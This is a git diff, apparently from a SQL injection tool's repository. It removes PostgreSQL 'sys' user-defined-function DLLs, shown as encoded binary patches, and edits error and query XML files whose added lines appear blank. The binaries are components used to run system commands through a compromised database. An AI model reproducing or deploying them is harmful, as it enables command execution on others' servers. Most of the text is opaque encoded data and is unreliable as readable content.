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 gLN}>n^J|uK)l5 diff --git a/udf/postgresql/windows/8.3/lib_postgresqludf_sys.dll b/udf/postgresql/windows/8.3/lib_postgresqludf_sys.dll deleted file mode 100755 index 1a47a71390692b4d84fadfcf403a03003f907bba..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7680 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 diff --git a/xml/errors.xml b/xml/errors.xml index 380ce8482..82cdbc2fb 100644 --- a/xml/errors.xml +++ b/xml/errors.xml @@ -30,6 +30,7 @@ + @@ -57,9 +58,17 @@ - - + + + + + + + + + + diff --git a/xml/queries.xml b/xml/queries.xml index 2c40386b3..1b476aa51 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -236,4 +236,115 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +